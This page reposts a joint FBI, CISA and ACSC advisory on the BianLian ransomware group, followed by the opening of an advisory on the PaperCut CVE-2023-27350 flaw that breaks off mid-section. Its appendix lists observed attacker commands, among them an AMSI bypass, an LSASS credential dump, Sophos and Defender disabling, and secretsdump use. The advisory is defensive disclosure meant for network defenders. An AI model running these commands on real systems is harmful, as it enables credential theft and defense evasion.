Category Archives: Security

#StopRansomware: BianLian Ransomware Group

This post was originally published on this site

Summary

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Cyber Security Centre (ACSC) are releasing this joint Cybersecurity Advisory to disseminate known BianLian ransomare and data extortion group IOCs and TTPs identified through FBI and ACSC investigations as of March 2023.

Actions to take today to mitigate cyber threats from BianLian ransomware and data extortion:
• Strictly limit the use of RDP and other remote desktop services.
• Disable command-line and scripting activities and permissions.
• Restrict usage of PowerShell and update Windows PowerShell or PowerShell Core to the latest version.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group that has targeted organizations in multiple U.S. critical infrastructure sectors since June 2022. They have also targeted Australian critical infrastructure sectors in addition to professional services and property development. The group gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian group actors then extort money by threatening to release data if payment is not made. BianLian group originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion.

FBI, CISA, and ACSC encourage critical infrastructure organizations and small- and medium-sized organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of BianLian and other ransomware incidents.

Download the PDF version of this report (710kb):

For a downloadable copy of IOCs (35kb), see:

AA23-136A.STIX_.xml
(XML, 34.72 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See the MITRE ATT&CK® Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® Tactics and Techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group. FBI observed BianLian group targeting organizations in multiple U.S. critical infrastructure sectors since June 2022. In Australia, ACSC has observed BianLian group predominately targeting private enterprises, including one critical infrastructure organization. BianLian group originally employed a double-extortion model in which they exfiltrated financial, client, business, technical, and personal files for leverage and encrypted victims’ systems. In 2023, FBI observed BianLian shift to primarily exfiltration-based extortion with victims’ systems left intact, and ACSC observed BianLian shift exclusively to exfiltration-based extortion. BianLian actors warn of financial, business, and legal ramifications if payment is not made.

Initial Access

BianLian group actors gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers [T1078],[T1133] or via phishing [T1566].

Command and Control

BianLian group actors implant a custom backdoor specific to each victim written in Go (see the Indicators of Compromise Section for an example) [T1587.001] and install remote management and access software—e.g., TeamViewer, Atera Agent, SplashTop, AnyDesk—for persistence and command and control [T1105],[T1219].

FBI also observed BianLian group actors create and/or activate local administrator accounts [T1136.001] and change those account passwords [T1098].

Defense Evasion

BianLian group actors use PowerShell [T1059.001] and Windows Command Shell [T1059.003] to disable antivirus tools [T1562.001], specifically Windows defender and Anti-Malware Scan Interface (AMSI). BianLian actors modify the Windows Registry [T1112] to disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Discovery

BianLian group actors use a combination of compiled tools, which they first download to the victim environment, to learn about the victim’s environment. BianLian group actors have used:

  • Advanced Port Scanner, a network scanner used to find open ports on network computers and retrieve versions of programs running on the detected ports [T1046].
  • SoftPerfect Network Scanner (netscan.exe), a network scanner that can ping computers, scan ports, and discover shared folders [T1135].
  • SharpShares to enumerate accessible network shares in a domain.
  • PingCastle to enumerate Active Directory (AD) [T1482]. PingCastle provides an AD map to visualize the hierarchy of trust relationships.

BianLian actors also use native Windows tools and Windows Command Shell to:

  • Query currently logged-in users [T1033].
  • Query the domain controller to identify:
  • Retrieve a list of all domain controllers and domain trusts.
  • Identify accessible devices on the network [T1018].

See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Credential Access

BianLian group uses valid accounts for lateral movement through the network and to pursue other follow-on activity. To obtain the credentials, BianLian group actors use Windows Command Shell to find unsecured credentials on the local machine [T1552.001]. FBI also observed BianLian harvest credentials from the Local Security Authority Subsystem Service (LSASS) memory [T1003.001], download RDP Recognizer (a tool that could be used to brute force RDP passwords or check for RDP vulnerabilities) to the victim system, and attempt to access an Active Directory domain database (NTDS.dit) [T1003.003].

In one case, FBI observed BianLian actors use a portable executable version of an Impacket tool (secretsdump.py) to move laterally to a domain controller and harvest credential hashes from it. Note: Impacket is a Python toolkit for programmatically constructing and manipulating network protocols. Through the Command Shell, an Impacket user with credentials can run commands on a remote device using the Windows management protocols required to support an enterprise network. Threat actors can run portable executable files on victim systems using local user rights, assuming the executable is not blocked by an application allowlist or antivirus solution.

See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Persistence and Lateral Movement

BianLian group actors use PsExec and RDP with valid accounts for lateral movement [T1021.001]. Prior to using RDP, BianLian actors used Command Shell and native Windows tools to add user accounts to the local Remote Desktop Users group, modified the added account’s password, and modified Windows firewall rules to allow incoming RDP traffic [T1562.004]. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

In one case, FBI found a forensic artifact (exp.exe) on a compromised system that likely exploits the Netlogon vulnerability (CVE-2020-1472) and connects to a domain controller.

Collection

FBI observed BianLian group actors using malware (system.exe) that enumerates registry [T1012] and files [T1083] and copies clipboard data from users [T1115].

Exfiltration and Impact

BianLian group actors search for sensitive files using PowerShell scripts (See Appendix: Windows PowerShell and Command Shell Activity) and exfiltrate them for data extortion. Prior to January 2023, BianLian actors encrypted files [T1486] after exfiltration for double extortion.

BianLian group uses File Transfer Protocol (FTP) [T1048] and Rclone, a tool used to sync files to cloud storage, to exfiltrate data [T1537]. FBI observed BianLian group actors install Rclone and other files in generic and typically unchecked folders such as programdatavmware and music folders. ACSC observed BianLian group actors use Mega file-sharing service to exfiltrate victim data [T1567.002].

BianLian’s encryptor (encryptor.exe) modified all encrypted files to have the .bianlian extension. The encryptor created a ransom note, Look at this instruction.txt, in each affected directory (see Figure 1 for an example ransom note.) According to the ransom note, BianLian group specifically looked for, encrypted, and exfiltrated financial, client, business, technical, and personal files.

Screenshot of sample text
Figure 1: BianLian Sample Ransom Note (Look at this instruction.txt)

If a victim refuses to pay the ransom demand, BianLian group threatens to publish exfiltrated data to a leak site maintained on the Tor network. The ransom note provides the Tox ID A4B3B0845DA242A64BF17E0DB4278EDF85855739667D3E2AE8B89D5439015F07E81D12D767FC, which does not vary across victims. The Tox ID directs the victim organization to a Tox chat via https://qtox.github[.]io and includes an alternative contact email address (swikipedia@onionmail[.]org or xxx@mail2tor[.]com). The email address is also the same address listed on the group’s Tor site under the contact information section. Each victim company is assigned a unique identifier included in the ransom note. BianLian group receives payments in unique cryptocurrency wallets for each victim company.

BianLian group engages in additional techniques to pressure the victim into paying the ransom; for example, printing the ransom note to printers on the compromised network. Employees of victim companies also reported receiving threatening telephone calls from individuals associated with BianLian group.

Indicators of Compromise (IOC)

See Table 1 for IOCs obtained from FBI investigations as of March 2023.

Table 1: BianLian Ransomware and Data Extortion Group IOCs

Name

SHA-256 Hash

Description

def.exe

7b15f570a23a5c5ce8ff942da60834a9d0549ea3ea9f34f900a09331325df893

Malware associated with BianLian intrusions, which is an example of a possible backdoor developed by BianLian group.

encryptor.exe

1fd07b8d1728e416f897bef4f1471126f9b18ef108eb952f4b75050da22e8e43

Example of a BianLian encryptor.

exp.exe

0c1eb11de3a533689267ba075e49d93d55308525c04d6aff0d2c54d1f52f5500

Possible NetLogon vulnerability (CVE-2020-1472) exploitation.

system.exe

40126ae71b857dd22db39611c25d3d5dd0e60316b72830e930fba9baf23973ce

Enumerates registry and files. Reads clipboard data.

MITRE ATT&CK Techniques

See Table 2 for all referenced threat actor tactics and techniques in this advisory.

Table 2: BianLian Group Actors ATT&CK Techniques for Enterprise

Technique Title

ID

Use

Resource Development

Develop Capabilities: Malware

T1587.001

BianLian group actors developed a custom backdoor used in their intrusions.

Initial Access

External Remote Services

T1133

BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement.

Phishing

T1566

BianLian group actors used phishing to obtain valid user credentials for initial access.

Valid Accounts

T1078

BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement.

Execution

Command and Scripting Interpreter: PowerShell

T1059.001

BianLian group actors used PowerShell to disable AMSI on Windows. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

BianLian group actors used Windows Command Shell to disable antivirus tools, for discovery, and to execute their tools on victim networks. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Scheduled Task/Job: Scheduled Task

T1053.005

BianLian group actors used a Scheduled Task run as SYSTEM (the highest privilege Windows accounts) to execute a Dynamic Link Library (DLL) file daily. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Persistence

Account Manipulation

T1098

BianLian group actors changed the password of an account they created.

BianLian actors modified the password of an account they added to the local Remote Desktop Users group.

Create Account: Local Account

T1136.001

BianLian group actors created/activated a local administrator account.

BianLian group actors used net.exe to add a user account to the local Remote Desktop Users group. (See Appendix: Windows PowerShell and Command Shell Activity for more information.)

Defense Evasion

Modify Registry

T1112

BianLian group actors modified the registry to  disable user authentication for RDP connections, allow a user to receive help from Remote Assistance, and disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services.

Impair Defenses: Disable or Modify Tools

T1562.001

BianLian group actors disabled Windows defender, AMSI, and Sophos SAVEnabled and SEDEenabled tamper protection services. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Impair Defenses: Disable or Modify System Firewall

T1562.004

BianLian group actors added modified firewalls to allow RDP traffic by adding new rules to the Windows firewall that allow incoming RDP traffic and enable a pre-existing Windows firewall rule group named Remote Desktop.

Credential Access

OS Credential Dumping: LSASS Memory

T1003.001

BianLian group actors accessed credential material stored in the process memory of the LSASS. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

OS Credential Dumping: NTDS

T1003.003

BianLian group actors attempted to access or create a copy of the Active Directory domain database in order to steal credential information and to obtain other information about domain members such as devices, users, and access rights.

Unsecured Credentials: Credentials In Files

T1552.001

BianLian group actors searched local file systems and remote file shares for files containing insecurely stored credentials.

Discovery

Account Discovery: Domain Account

1087.002

BianLian group actors queried the domain controller to identify accounts in the Domain Admins and Domain Computers groups. This information can help adversaries determine which domain accounts exist to aid in follow-on activity.

Domain Trust Discovery

T1482

BianLian group actors used PingCastle to enumerate the AD and map trust relationships.

BianLian group actors retrieved a list of domain trust relationships used to identify lateral movement opportunities in Windows multi-domain/forest environments.

File and Directory Discovery

T1083

BianLian group used malware (system.exe) that enumerates files.

Network Service Discovery

T1046

BianLian actors used Advanced Port Scanner and SoftPerfect Network Scanner to ping computers, scan ports, and identify program versions running on ports.

Network Share Discovery

T1135

BianLian actors used SoftPerfect Network Scanner, which can discover shared folders.

BianLian group actors used SharpShares to enumerate accessible network shares in a domain.

Permission Groups Discovery: Domain Groups

T1069.002

BianLian group actors queried the domain controller to identify groups.

Query Registry

T1012

BianLian group used malware (system.exe) that enumerates registry.

Remote System Discovery

T1018

BianLian group actors attempted to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement.

BianLian group actors retrieved a list of domain controllers.

System Owner User Discovery

T1033

BianLian group actors queried currently logged-in users on a machine.

Lateral Movement

Remote Services: Remote Desktop Protocol

T1021.001

BianLian group actors used RDP with valid accounts for lateral movement.

Collection

Clipboard Data

T1115

BianLian group actors’ malware collects data stored in the clipboard from users copying information within or between applications.

Command and Control

Ingress Tool Transfer

T1105

BianLian group actors transferred tools or other files from an external system into a compromised environment.

Remote Access Software

T1219

BianLian group actors used legitimate desktop support and remote access software, such as TeamViewer, Atera, and SplashTop, to establish an interactive command and control channel to target systems within networks.

Exfiltration

Transfer Data to Cloud Account

T1537

BianLian group actors used Rclone to exfiltrate data to a cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

Exfiltration Over Alternative Protocol

T1048

BianLian group actors exfiltrated data via FTP.

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1567.002

BianLian group actors exfiltrated data via Mega public file-sharing service.

Impact

Data Encrypted for Impact

T1486

BianLian group actors encrypted data on target systems.

Mitigations

FBI, CISA, and ACSC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Reduce threat of malicious actors using remote access tools by:
    • Auditing remote access tools on your network to identify currently used and/or authorized software.
    • Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T].
    • Using security software to detect instances of remote access software only being loaded in memory.
    • Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
    • Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs.
    • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.

See NSA Cybersecurity Information sheet Enforce Signed Software Execution Policies for additional guidance.

  • Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Disable command-line and scripting activities and permissions [CPG 2.N].
  • Restrict the use of PowerShell, using Group Policy, and only grant to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].
  • Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
  • Enable enhanced PowerShell logging [CPG 2.T, 2.U].
    • PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor’s PowerShell use.
    • Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging).
    • The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible.
  • Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Reduce the threat of credential compromise via the following:
    • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
    • Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
    • Refrain from storing plaintext credentials in scripts.
  • Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E]. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory (AD) level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.

In addition, FBI, CISA, and ACSC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors:

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
  • Maintain offline backups of data, and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization minimizes the impact of disruption to business practices as they will not be as severe and/or only have irretrievable data [CPG 2.R]. ACSC recommends organizations follow the 3-2-1 backup strategy in which organizations have three copies of data (one copy of production data and two backup copies) on two different media such as disk and tape, with one copy kept off-site for disaster recovery.
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 15 characters [CPG 2.B].
    • Store passwords in hashed format using industry-recognized password managers.
    • Add password user “salts” to shared login credentials.
    • Avoid reusing passwords [CPG 2.C].
    • Implement multiple failed login attempt account lockouts [CPG 2.G].
    • Disable password “hints”.
    • Refrain from requiring password changes more frequently than once per year.
      Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software.
  • Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours from vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks, restricting further lateral movement [CPG 2.F].
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections, as they have insight into common and uncommon network connections for each host [CPG 3.A].
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Disable unused ports [CPG 2.V].
  • Consider adding an email banner to emails received from outside your organization [CPG 2.M].
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, FBI, CISA, and ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, and ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 2).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI, CISA, and ACSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

Reporting

The FBI is seeking any information that can be shared, including boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with BianLian actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at cisa.gov/report. Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ACSC via 1300 CYBER1 (1300 292 371) or by submitting a report cyber.gov.au.

Acknowledgements

Microsoft and Sophos contributed to this advisory.

APPENDIX: WINDOWS PowerSHell and COMMAND SHELL ACTIVITY

Through FBI investigations as of March 2023, FBI has observed BianLian actors use the commands in Table 3. ACSC has observed BianLian actors use some of the same commands.

Table 3: PowerShell and Windows Command Shell Activity

Command

Use

[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,* Static’).SetValue($null,$true) 

Disables the AMSI on Windows. AMSI is a built-in feature on Windows 10 and newer that provides an interface for anti-malware scanners to inspect scripts prior to execution. When AMSI is disabled, malicious scripts may bypass antivirus solutions and execute undetected.

cmd.exe /Q /c for /f “tokens=1,2 delims= “ ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””’) do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B WindowsTemp<file>.csv full

Creates a memory dump lsass.exe process and saves it as a CSV filehttps://attack.mitre.org/versions/v12/techniques/T1003/001/.  BianLian actors used it to harvest credentials from lsass.exe.

cmd.exe /Q /c net user <admin> /active:yes 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Activates the local Administrator account.

cmd.exe /Q /c net user “<admin>”<password> 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Changes the password of the newly activated local Administrator account.

cmd.exe /Q /c quser 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Executes quser.exe to query the currently logged-in users on a machine. The command is provided arguments to run quietly and exit upon completion, and the output is directed to the WindowsTemp directory.

dism.exe /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart

Using the Deployment Image Servicing and Management (DISM) executable file, removes the Windows Defender feature.

dump.exe -no-pass -just-dc user.local/<fileserver.local>@<local_ip>

Executes secretsdump.py, a Portable Executable version of an Impacket tool. Used to dump password hashes from domain controllers.

exp.exe -n <fileserver.local> -t <local_ip>

Possibly attempted exploitation of the NetLogon vulnerability (CVE-2020-1472).

findstr /spin “password” *.* >C:UserstrainingMusic<file>.txt

Searches for the string password in all files in the current directory and its subdirectories and puts the output to a file.

ldap.exe -u user<user> -p <password> ldap://<local_ip>

Connects to the organization’s Lightweight Directory Access Protocol (LDAP) server.

logoff

Logs off the current user from a Windows session. Can be used to log off multiple users at once.

mstsc

Launches Microsoft Remote Desktop Connection client application in Windows.

net group /domain

Retrieves a list of all groups from the domain controller.

net group ‘Domain Admins’ /domain

Queries the domain controller to retrieve a list of all accounts from Domain Admins group.

net group ‘Domain Computers’ /domain

Queries the domain controller to retrieve a list of all accounts from Domain Computers group.

net user /domain

Queries the domain controller to retrieve a list of all users in the domain.

net.exe localgroup “Remote Desktop Users” <user> /add

Adds a user account to the local Remote Desktop Users group.

net.exe user <admin> <password> /domain

Modifies the password for the specified account.

netsh.exe advfirewall firewall add rule “name=allow RemoteDesktop” dir=in * protocol=TCP localport=<port num> action=allow

Adds a new rule to the Windows firewall that allows incoming RDP traffic.

netsh.exe advfirewall firewall set rule “group=remote desktop” new enable=Yes

Enables the pre-existing Windows firewall rule group named Remote Desktop. This rule group allows incoming RDP traffic.

nltest /dclist

Retrieves a list of domain controllers.

nltest /domain_trusts

Retrieves a list of domain trusts.

ping.exe -4 -n 1 *

Sends a single ICMP echo request packet to all devices on the local network using the IPv4 protocol. The output of the command will show if the device is reachable or not.

quser; ([adsisearcher]”(ObjectClass=computer)”).FindAll().count;([adsisearcher]”(ObjectClass=user)”).FindAll().count;[Security.Principal.WindowsIdentity]::GetCurrent() | select name;net user “$env:USERNAME” /domain; (Get-WmiObject -class Win32_OperatingSystem).Caption; Get-WmiObject -Namespace rootcimv2 -Class Win32_ComputerSystem; net group “domain admins” /domain; nltest /dclist:; nltest /DOMAIN_TRUSTS

Lists the current Windows identity for the logged-in user and displays the user’s name. Uses the Active Directory Services Interface (ADSI) to search for all computer and user objects in the domain and returns counts of the quantities found. Lists information about the current user account from the domain, such as the user’s name, description, and group memberships. Lists information about the operating system installed on the local computer. Lists information about the “Domain Admins” group from the domain. Lists all domain controllers in the domain. Displays information about domain trusts.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal * ServerWinStationsRDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f

Adds/overwrites a new Registry value to disable user authentication for RDP connections.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server” /* v fAllowToGetHelp /t REG_DWORD /d 1 /f

Adds/overwrites a new Registry value to allow a user to receive help from Remote Assistance.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSophos Endpoint * DefenseTamperProtectionConfig” /t REG_DWORD /v SAVEnabled /d 0 /f

Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SAVEnabled.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSophos Endpoint * DefenseTamperProtectionConfig” /t REG_DWORD /v SEDEnabled /d 0 /f

Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SEDEnabled.

reg.exe ADD * HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeSophosSAVServiceTamperProtection /t REG_DWORD /v Enabled /d 0 /f

Adds/overwrites a new registry value to disable tamper protection for a Sophos antivirus service called SAVService.

reg.exe copy hklmsystemCurrentControlSetservicestvnserver * hklmsystemCurrentControlSetcontrolsafebootnetworktvnserver /s /f

Copies the configuration settings for the tvnserver service to a new location in the registry that will be used when the computer boots into Safe Mode with Networking. This allows the service to run with the same settings in Safe Mode as it does in normal mode.

s.exe /threads:50 /ldap:all /verbose /outfile:c:users<user>desktop1.txt

Executes SharpShares.

schtasks.exe /RU SYSTEM /create /sc ONCE /<user> /tr “cmd.exe /crundll32.exe c:programdatanetsh.dll,Entry” /ST 04:43

Creates a Scheduled Task run as SYSTEM at 0443 AM. When the task is run, cmd.exe uses crundll32.exe to run the DLL file netsh.dll. (It is likely that netsh.dll is a malware file and not associated with netsh.)

start-process PowerShell.exe -arg C:UsersPublicMusic<file>.ps1 -WindowStyle Hidden

Executes a PowerShell script, while keeping the PowerShell window hidden from the user.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or ACSC.

 

Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG

This post was originally published on this site

SUMMARY

The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) in response to the active exploitation of CVE-2023-27350. This vulnerability occurs in certain versions of PaperCut NG and PaperCut MF and enables an unauthenticated actor to execute malicious code remotely without credentials. PaperCut released a patch in March 2023.

According to FBI observed information, malicious actors exploited CVE-2023-27350 beginning in mid-April 2023 and continuing through the present. In early May 2023, also according to FBI information, a group self-identifying as the Bl00dy Ransomware Gang attempted to exploit vulnerable PaperCut servers against the Education Facilities Subsector.

This joint advisory provides detection methods for exploitation of CVE-2023-27350 as well and indicators of compromise (IOCs) associated with Bl00dy Ransomware Gang activity. FBI and CISA strongly encourage users and administrators to immediately apply patches, and workarounds if unable to patch. FBI and CISA especially encourage organizations who did not patch immediately to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report:

TECHNICAL DETAILS

Vulnerability Overview

CVE-2023-27350 allows a remote actor to bypass authentication and conduct remote code execution on the following affected installations of PaperCut:[1]

  • Version 8.0.0 to 19.2.7
  • Version 20.0.0 to 20.1.6
  • Version 21.0.0 to 21.2.10
  • Version 22.0.0 to 22.0.8

PaperCut servers vulnerable to CVE-2023-27350 implement improper access controls in the SetupCompleted Java class, allowing malicious actors to bypass user authentication and access the server as an administrator. After accessing the server, actors can leverage existing PaperCut software features for remote code execution (RCE). There are currently two publicly known proofs of concept for achieving RCE in vulnerable PaperCut software:

  • Using the print scripting interface to execute shell commands.
  • Using the User/Group Sync interface to execute a living-off-the-land-style attack.

FBI and CISA note that actors may develop other methods for RCE.

The PaperCut server process pc-app.exe runs with SYSTEM- or root-level privileges. When the software is exploited to execute other processes such as cmd.exe or powershell.exe, these child processes are created with the same privileges. Commands supplied with the execution of these processes will also run with the same privileges. As a result, a wide range of post-exploitation activity is possible following initial access and compromise.

This CVE was added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog on April 21, 2023.

Threat Actor Activity

Education Facilities Subsector entities maintained approximately 68% of exposed, but not necessarily vulnerable, U.S.-based PaperCut servers. In early May 2023, according to FBI information, the Bl00dy Ransomware Gang gained access to victim networks across the Education Facilities Subsector where PaperCut servers vulnerable to CVE-2023-27350 were exposed to the internet. Ultimately, some of these operations led to data exfiltration and encryption of victim systems. The Bl00dy Ransomware Gang left ransom notes on victim systems demanding payment in exchange for decryption of encrypted files (see Figure 1).

Figure 1: Example Bl00dy Gang Ransomware Note
Figure 1: Example Bl00dy Gang Ransomware Note

According to FBI information, legitimate remote management and maintenance (RMM) software was downloaded and executed on victim systems via commands issued through PaperCut’s print scripting interface. External network communications through Tor and/or other proxies from inside victim networks helped Bl00dy Gang ransomware actors mask their malicious network traffic. The FBI also identified information relating to the download and execution of command and control (C2) malware such as DiceLoader, TrueBot, and Cobalt Strike Beacons, although it is unclear at which stage in the attack these tools were executed.

DETECTION METHODS

Network defenders should focus detection efforts on three key areas:

  • Network traffic signatures – Look for network traffic attempting to access the SetupCompleted page of an exposed and vulnerable PaperCut server.
  • System monitoring – Look for child processes spawned from a PaperCut server’s pc-app.exe process.
  • Server settings and log files – Look for evidence of malicious activity in PaperCut server settings and log files.

Network Traffic Signatures

